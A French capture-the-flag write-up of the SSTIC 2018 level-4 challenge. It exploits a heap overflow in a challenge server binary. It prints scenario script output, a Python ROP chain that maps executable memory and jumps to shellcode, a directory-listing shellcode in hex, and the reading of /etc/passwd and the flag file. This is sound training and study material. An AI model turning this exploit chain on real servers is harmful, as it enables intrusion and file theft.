mitsurugi@dojo:~/chall/sstic/lvl4$ checksec server.elf [*] '/home/mitsurugi/chall/sstic/lvl4/server.elf' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) mitsurugi@dojo:~/chall/sstic/lvl4$
Plusieurs zones mémoires sont donc fixes et connues. Les hook de malloc/realloc/free sont de bons candidats à l’exploitation: ils sont réinscriptibles, nous pouvons mettre n’importe quoi dedans, il suffit d’un Write-What-Where, ou arbitrary write. Un heap overflow rend cela possible.
Pour une bonne compréhension de la suite du document je rappelle quelques notions de gestion mémoire liée au heap.
-
un malloc va renvoyer une zone mémoire de la taille demandée. Cette zone est constitué de metadata, et de la zone elle-même. Cette zone s’appelle un chunk.
-
Les metadata contiennent la taille de la zone, plus la taille des metadata, si 0x30 est demandé, les metadata contiennent une taille de 0x40
-
Pour d’obscures raisons liées à la gestion des chunks, le bit de poids faibls vaut 1. Si 0x30 est demandé, le metadata contient donc 0x41.
-
Lors de la libération des chunks, le quadword situé derrière le metadata contient l’adresse du prochain chunk de libre
4.3 - Obtention d’un arbitrary write
La recherche de l’arbitrary write n’est pas une tâche facile. Nous savons que le heap overflow survient lors d’un realloc, il faut donc ajouter des noeuds. L’ajout de noeud lance tout un calcul RSA qui fait des malloc/free. Nous n’avons aucune prise sur la taille des malloc/realloc. Enfin, un free (suppression d’un node) va supprimer à la fois le node, et tous ses subnodes. Je me suis appuyé sur des dumps du heap et d’un outil de diff du heap pour analyser les séquences d’alloc/realloc/free:
gdb> dump memory heap_avant 0x6da000 0x6fefff gdb> c (...ajout de node/subnode/ etc.....) gdb> dump memory heap_apres 0x6da000 0x6fefff gdb> quit mitsurugi@dojo:~/chall/sstic/lvl4$ ./diff_heap.py heap_avant heap_apres 0x6da000: 0000000000000000 0000000000000000 | 0000000000000000 0000000000000000 0x6da010: 0000000000000000 0000000000000000 | 0000000000000000 0000000000000000 0x6da020: 0000000000000000 0000000000000000 | 0000000000000000 0000000000000000 0x6da030: 0000000000000000 0000000000000000 | 0000000000000000 0000000000000000 0x6da040: 0000000000000000 0000000000000000 | 0000000000000000 0000000000000000 (...snip...) 0x6e2af0: 0000000000000000 cefec0514eab4a94 | 0000000000000000 cefec0514eab4a94 0x6e2b00: 6f7d7e7e4bf74f1e 0000000000000041 | 6f7d7e7e4bf74f1e 0000000000000061 DIFF HERE 0x6e2b10: 00000000006d78c8 0000000000000000 | 00000000006d78c8 0000000000000000 0x6e2b20: 0200000000000000 0000000000000011 | 0200000000000000 0000000000000011 0x6e2b30: 0000000000000000 0000000000000241 | 0000000000000000 0000000000000241 0x6e2b40: 7070707070707070 0000000000000000 | 7070707070707070 0000000000000000 0x6e2b50: 0000000000000000 4e065aecca9b6f04 | 0000000000000000 4e065aecca9b6f04 0x6e2b60: 830e0598569f5779 faa7d841abfbeff7 | 830e0598569f5779 faa7d841abfbeff7 0x6e2b70: 79d90b5c844ba375 515c37b6f273a3be | 79d90b5c844ba375 515c37b6f273a3be 0x6e2b80: fd92a8297eec7b34 a32f9408b33856e8 | fd92a8297eec7b34 a32f9408b33856e8 0x6e2b90: 837ed31d2fb04c82 3b83a33e2185100c | 837ed31d2fb04c82 3b83a33e2185100c 0x6e2ba0: 0a0efd9beb503dc7 0000000000000000 | 0a0efd9beb503dc7 0000000000000000 (...snip...)
Pour la suite de l’explication, j’utiliserai la taille des metadata dans les chunks. Nous avons donc:
-
0x241 : alloué à la création d’un noeud. Au début de ce bloc, nous avons le nodeid (maitrisé par l’attaquant), puis pas mal de trous, et au milieu la clé AES (maitrisée par l’attaquant)
-
0x41 : alloué à la création du noeud, et va contenir la liste des subnodes (leur id)
-
0x61 : lorsque la liste des subnodes grandit, le bloc 0x41 est free() et agrandi: ce chunk en est le résultat
Et le bloc 0x61 peut déborder d’un subnode (8 bytes) de son chunk.
Pour obtenir un arbitrary write, l’idéal est de maitriser l’allocation d’un bloc 0x41. Le malloc devra renvoyer une adresse maitrisée par l’attaquant permettant ainsi à l’ajout du subnode (id de 8 octets maitrisé par l’attaquant) d'écrire ce que l’on veut.
L’attaque se fait en plusieurs endroits. Tout d’abord, un bloc de subnodes se fait corrompre ses metadata par le bloc de subnode précédents. Sa taille fake sera celle d’un node (0x241), ce qui permettra lors de la prochaine allocation d'écrire les données de ce node en débordant de ce chunk. Il est essentiel que la clé AES de ce node tombe à un endroit judicieux. Pour cela, il est créé plusieurs listes de subnodes, et nous avons la seconde attaque: un chunk se verra allouée une taille fake de 0x61. Cette taille se fera écraser lors de l’allocation du node précédent. La clé AES aura un double rôle: remplacer la taille fake par 0x41, et remplir l’adresse next-chunk par une adresse choisie.
Un outil d'écriture de scénario d’attaque fût nécessaire pour mener à bien l’attaque. Cet outil lance des nodes et subnodes à la demande. Un point d’attention a été nécessaire concernant les timers. Par défaut, une seconde est temporisée entre chaque action, ce qui n’est pas toujours suffisant, donc des temps d’attente ont été ajoutés dans certains points cruciaux afin de fiabiliser l’exploit.
mitsurugi@dojo:~/chall/sstic/lvl4$ ./scenario.py [+] Creating silently Node1 -> Node7 Add 12 subnode1 subnodeid=11110001 subnodeid=11110002 subnodeid=11110003 subnodeid=11110004 subnodeid=11110005 subnodeid=11110006 subnodeid=11110007 subnodeid=11110008 subnodeid=11110009 subnodeid=11110010 subnodeid=11110011 subnodeid=11110012 Add subnode2 subnodeid=22220001 subnodeid=22220002 subnodeid=22220003 subnodeid=22220004 subnodeid=22220005 subnodeid=22220006 subnodeid=22220007 Sleeping 1s for timers subnodeid=22220008 subnodeid=22220009 subnodeid=22220010 subnodeid=22220011 Adding 13th subnode1 subnodeid=11110013 [+] overflow the 0x91 of subnode1 list with 0x241 with 12 subnode2 subnodeid=0000000000000241 [+] Adding 8 subnodes for nodes 3 -> 6 Adding subnodes for node3 subnodeid=33330001 subnodeid=33330002 subnodeid=33330003 subnodeid=33330004 subnodeid=33330005 subnodeid=33330006 subnodeid=33330007 subnodeid=33330008 Adding subnodes for node4 subnodeid=44440001 subnodeid=44440002 subnodeid=44440003 subnodeid=44440004 subnodeid=44440005 subnodeid=44440006 subnodeid=44440007 subnodeid=44440008 Adding subnodes for node5 subnodeid=55550001 subnodeid=55550002 subnodeid=55550003 subnodeid=55550004 subnodeid=55550005 subnodeid=55550006 subnodeid=55550007 subnodeid=55550008 Adding subnodes for node6 subnodeid=66660001 subnodeid=66660002 subnodeid=66660003 subnodeid=66660004 subnodeid=66660005 subnodeid=66660006 subnodeid=66660007 subnodeid=66660008 Faking another chunk with subnodelist7 subnodeid=3737373700000001 subnodeid=3737373700000002 subnodeid=3737373700000003 subnodeid=3737373700000004 subnodeid=3737373700000005 subnodeid=3737373700000006 subnodeid=0000000000000030 subnodeid=0000000000000061 Adding four more subnode6, and overlapping with 0x41 subnodeid=66660009 subnodeid=66660010 Sleeping for 4s subnodeid=66660011 subnodeid=0000000000000041 [+] Freeing node7 and node1 Attack is now ready to launch!! sleeping 6s Creating node Z and Y, they will take place of node7 and node1 Inspect the booze, now. Overwriting is real!! Next node will overwrite an old 0x41 free chunk Adding more nodes: i,j,k,l,m,n,o,p Adding subnode until overwrite Check mem @ overwrite // the adress is in AESkey of Nounours.py file subnodeid=ZZZZ0001 subnodeid=YYYY0001 subnodeid=iiii0001 subnodeid=jjjj0001 subnodeid=kkkk0001 subnodeid=llll0001 subnodeid=mmmm0001 subnodeid=nnnn0001 subnodeid=00000000004a7bc0 subnodeid=pppp0001 [+] Triggering the realloc with a new node! subnodeid=SC000001 subnodeid=SC000002 subnodeid=SC000003 subnodeid=SC000004 subnodeid=SC000006 subnodeid=SC000007 subnodeid=SC000008 [+] All good now, check output mitsurugi@dojo:~/chall/sstic/lvl4$
Quelques explications. Le premier overflox de 0x241 permet de préparer un fake chunk pour un nouveau node. Les nodes 3 à 7 sont présents pour obtenir une suite de chunk de liste de subnodes sur laquelle le node prenant la place du fake chunk ira se loger. La clé AES de ce node écrasera les metadata et le next-chunk du node 7, qui s’est fait également corrompre par le node 6. Enfin, le node o se voit allouer un bloc de 0x41 dont l’adresse next-chunk est celle de la clé AES. Cette adresse est celle de realloc_hook. L’attaque est terminée, le prochain realloc va appeler le code à l’adresse 0x04a7bc0.
4.4 - Ecriture d’une ROPchain pour copier un shellcode sur le C&C
Maintenant que le write-what-where est acquis, reste à prendre la main pour exécuter du code. Le realloc_hook sera activé lors de l’ajout du subnode. Une idée simple consiste à charger de données le paquet réseau ajoutant ce subnode. Lors de l’ajout d’un subnode, les données sont copiées en clair sur la stack. Il suffit de trouver un gadget qui POP suffisemment de données pour atterrir dans nos données, par exemple:
gdb$ x/20i 0x004a7bc0 0x4a7bc0 <_Unwind_IteratePhdrCallback+336>: xor eax,eax 0x4a7bc2 <_Unwind_IteratePhdrCallback+338>: add rsp,0x58 0x4a7bc6 <_Unwind_IteratePhdrCallback+342>: pop rbx 0x4a7bc7 <_Unwind_IteratePhdrCallback+343>: pop rbp 0x4a7bc8 <_Unwind_IteratePhdrCallback+344>: pop r12 0x4a7bca <_Unwind_IteratePhdrCallback+346>: pop r13 0x4a7bcc <_Unwind_IteratePhdrCallback+348>: pop r14 0x4a7bce <_Unwind_IteratePhdrCallback+350>: pop r15 0x4a7bd0 <_Unwind_IteratePhdrCallback+352>: ret
La stack remonte, puis plusieurs données sont pop, et le ret permet d’arriver dans nos données. Un point intéressant à noter concerne le fait qu’il est inutile de connaitre l’adresse de la stack ou de faire leaker une adresse: la ROPchain va s'éxecuter indépendemment de son adresse, et les gadgets sont tous connus.
Seccomp pose un problème. Il est impossible de lancer un shell. Beaucoup de commandes sont bloquées. Le code de seccomp a été désassemblé à l’aide de seccomp-tools. Le code a été dumpé depuis gdb.
@dojo:~/chall/sstic/lvl4$ seccomp-tools disasm seccompfilter line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x20 0x00 0x00 0x00000000 A = sys_number 0004: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0006 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0006: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x15 0x00 0x01 0x0000000b if (A != munmap) goto 0012 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0012: 0x15 0x00 0x01 0x00000029 if (A != socket) goto 0014 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x15 0x00 0x01 0x00000031 if (A != bind) goto 0016 0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0016: 0x15 0x00 0x01 0x00000032 if (A != listen) goto 0018 0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0018: 0x15 0x00 0x01 0x00000120 if (A != accept4) goto 0020 0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0020: 0x15 0x00 0x01 0x00000036 if (A != setsockopt) goto 0022 0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0022: 0x15 0x00 0x01 0x0000002c if (A != sendto) goto 0024 0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0024: 0x15 0x00 0x01 0x0000002d if (A != recvfrom) goto 0026 0025: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0026: 0x15 0x00 0x01 0x00000014 if (A != writev) goto 0028 0027: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0028: 0x15 0x00 0x01 0x00000017 if (A != select) goto 0030 0029: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0030: 0x15 0x00 0x01 0x00000019 if (A != mremap) goto 0032 0031: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0032: 0x15 0x00 0x01 0x00000048 if (A != fcntl) goto 0034 0033: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0034: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0036 0035: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0036: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0038 0037: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0038: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0040 0039: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0040: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0042 0041: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0042: 0x15 0x00 0x01 0x0000004e if (A != getdents) goto 0044 0043: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0044: 0x15 0x00 0x01 0x000000d9 if (A != getdents64) goto 0046 0045: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0046: 0x15 0x00 0x01 0x00000020 if (A != dup) goto 0048 0047: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0048: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0050 0049: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0050: 0x15 0x00 0x01 0x00000005 if (A != fstat) goto 0052 0051: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0052: 0x06 0x00 0x00 0x00030000 return TRAP 0053: 0xeab9 0x41 0x00 0x00000000 X = sys_number mitsurugi@dojo:~/chall/sstic/lvl4$
mmap, open, write, getdents sont présents. Il est donc possible d'écrire un shellcode qui va lire les fichiers et les dossiers du serveur. La ROPchain permettant d'écrire ce shellcode:
def sc(): sc = struct.pack('<Q',0xabcdef12) #sc += struct.pack('<Q',0x00000000004a7bd0) #only a RET ##### STAGE1 mmap-ing a zone in rwx #mmap ( @, size, PROT=7 (rwx), flags=22, -1, 0) RDI, RSI, RDX, RCX, R8, R9 sc += struct.pack('<Q',0x4a7bcf) #0x004a7bcf: pop rdi ; ret ; sc += struct.pack('<Q',0x8000000) #Nobody should be there, I'll take it sc += struct.pack('<Q',0x004ac0eb) #0x004ac0eb: pop rsi ; ret ; sc += struct.pack('<Q',0x50000) #should be enough sc += struct.pack('<Q',0x004cc086) #0x004cc086: pop rdx ; ret ; sc += struct.pack('<Q',0x7) sc += struct.pack('<Q',0x00408f59) #0x00408f59: pop rcx ; ret ; sc += struct.pack('<Q',0x22) sc += struct.pack('<Q',0x00480231) #0x00480231: pop rax ; ret ; sc += struct.pack('<Q',0xffffffffffffffff) sc += struct.pack('<Q',0x0042962e) #0x0042962e: mov r8, rax ; pop rbx ; mov rax, r8 ; pop rbp ; pop r12 ; pop r13 ; ret ; sc += struct.pack('<Q',0xaa) #pop rbx sc += struct.pack('<Q',0xaa) #pop rbp sc += struct.pack('<Q',0xaa) #pop r12 sc += struct.pack('<Q',0xaa) #pop r13 sc += struct.pack('<Q',0x00480231) #0x00480231: pop rax ; ret ; sc += struct.pack('<Q',0x0) sc += struct.pack('<Q',0x0046dc12) #0x0046dc12: mov r9, rax ; pop rbx ; mov rax, r9 ; pop rbp ; pop r12 ; pop r13 ; ret ; sc += struct.pack('<Q',0xaa) #pop rbx sc += struct.pack('<Q',0xaa) #pop rbp sc += struct.pack('<Q',0xaa) #pop r12 sc += struct.pack('<Q',0xaa) #pop r13 #mmap should be set up sc += struct.pack('<Q',0x455ce0) #0x455ce0 => mmap sc += struct.pack('<Q',0x00000000004a7bd0) #only a RET, usefull for debug ##### STAGE2 copy shellcode sc += createsc(0x8000000) #createsc() just copy shellcode at the offset ##### STAGE3 jump in shellcode sc += struct.pack('<Q',0x00480231) #0x00480231: pop rax ; ret ; (1 found) sc += struct.pack('<Q',0x8000000) sc += struct.pack('<Q',0x004b1697) #0x004b1697: jmp rax ; (1 found) print "Shellcode size is %d ***** Good luck, have fun" % len(sc) return sc
4.5 - Conclusion: Parcours des fichiers et dossiers sur le serveur
L’analyste dispose maintenant d’une chaine d’attaque complète, avec exécution de code sur le serveur. J’ai choisi une approche pragmatique. Plutôt que décrire un shellcode complet, permettant de lire des commandes, parcourir les fichiers etc.. j’ai pris le parti de lancer un shellcode pour chaque commande. Le flag étant finalement très simple à trouver, cela a permis de gagner du temps en écriture de shellcode. Pour lire les données, j’ai choisi de les renvoyer de façon brute dans le file descriptor numéro 8. Au vu du nombre de nodes créés, la probabilité est grande pour que ce soit une de mes connexions. Il suffit d’un tcpdump pendant l’attaque pour lire le résultat via la commande strings: la majorité du trafic est chiffré, il ne restera que le non-chiffré, soit le contenu du fichier, ou la liste des dossiers.
Exemple de shellcode:
#Readdir /homme/sstic/secret SHELLCODE='48C7C70800000048BE002800080000000049BD0000FFFF000000004C892E48C7C20400000048C7C10000000049C7C5B071450041FFD549C7C50028000849BE73656372657400004D89750048C7C70028000849C7C510FC470041FFD54889C39090909090909090904889DF49C7C580FC470041FFD54883F8000F849F00000048C7C7080000004883C0134889C648C7C2FF00000048C7C10000000049C7C5B071450041FFD5EBC14889C748C7C60000040848C7C200FF000049C7C5D04E450041FFD548C7C70800000048BE002800080000000049BD00FF0000000000004C892E48C7C20400000048C7C10000000049C7C5B071450041FFD548C7C70800000048C7C60000040848C7C200FF000048C7C10000000049C7C5B071450041FFD5'
Les shellcodes ont été directement écrit en assembleur, et assemblé sur le site https://defuse.ca/online-x86-assembler.htm . La fin du challenge est proche, il suffit d'écrire un shellcode, lire le résultat dans le flux tcpdump burt et de lancer une nouvelle fois l’attaque avec un nouveau shellcode (les shellcodes utilisés ayant le bon goût de faire crasher le serveur, nous partons d’un état connu systématiquement). Le fichier /etc/passwd est lu et permet de trouver un utilisateur appelé sstic. Cet utilisateur n’a pas de ~/.bash_history. La liste des dossiers de son home en montre un nommé secret. Un fichier dans ce dossier s’appelle sstic2018.flag.
Ce fichier contient une chaine de caractères (extrait de la capture au format pcap):
mitsurugi@dojo:~/chall/sstic/lvl4$ strings -12 winning_result_out | grep @ 65r1o0q1380ornqq763p96r74n0r51o816onpp68100s5p4s74955rqqr0p5507o@punyyratr.ffgvp.bet mitsurugi@dojo:~/chall/sstic/lvl4$ echo '65r1o0q1380ornqq763p96r74n0r51o816onpp68100s5p4s74955rqqr0p5507o@punyyratr.ffgvp.bet' | rot13 65e1b0d1380beadd763c96e74a0e51b816bacc68100f5c4f74955edde0c5507b@challenge.sstic.org mitsurugi@dojo:~/chall/sstic/lvl4$
Conclusion - "Soul Edge is mine!" (Soulcalibur)
Je remercie les concepteurs du challenge d’avoir créé des épreuves réalistes, partant de forensics et allant jusqu’au hackback. Le déroulement des étapes est vraiment clair, on ne doute pas sans savoir quoi faire ni ou aller. Concernant l'étape 3, je reste persuadé qu’une attaque sur RSA est présente vu comment est faite la génération des nombres aléatoires, d’où le titre du paragraphe ("il y a plusieurs chemins pour aller au sommet d’une montagne…"), je lirai avec intérêt les autres solutions pour savoir si l’un deux a pris cette voie. Le niveau 1 était simple, comme tous les challenges du SSTIC, le 2 difficile, le 3 facile également (AES 4 rounds lol ), et le 4 fût hardcore: heap overflow millimétré + bypass seccomp. Je n’ai pas encore pris le temps d'étudier en détail concernant l’attaque contenue dans le fichier stage1.js: ce fichier a 0 détections dans virustotal, un examen approprié de son contenu sera intéressant pour extraire l’exploit utilisé (je ne pense pas qu’il s’agisse d’un 0day, ce doit être une faille weaponisée, ou repackagée).
J’ai également pris le parti de ne pas montrer trop d’assembleur ou de copies d'écran d’IDA pour ne pas assommer le lecteur. Les codes sources ne seront pas fournis, l’auteur les trouvant vraiment trop sales pour être publiés en l'état. Ils contiennent encore toutes les tentatives d’attaques que l’auteur a testé, les transformant en monstre protéiforme illisible.
Je serais présent au SSTIC 2018, et trinquerai volontiers avec les concepteurs du challenge :-)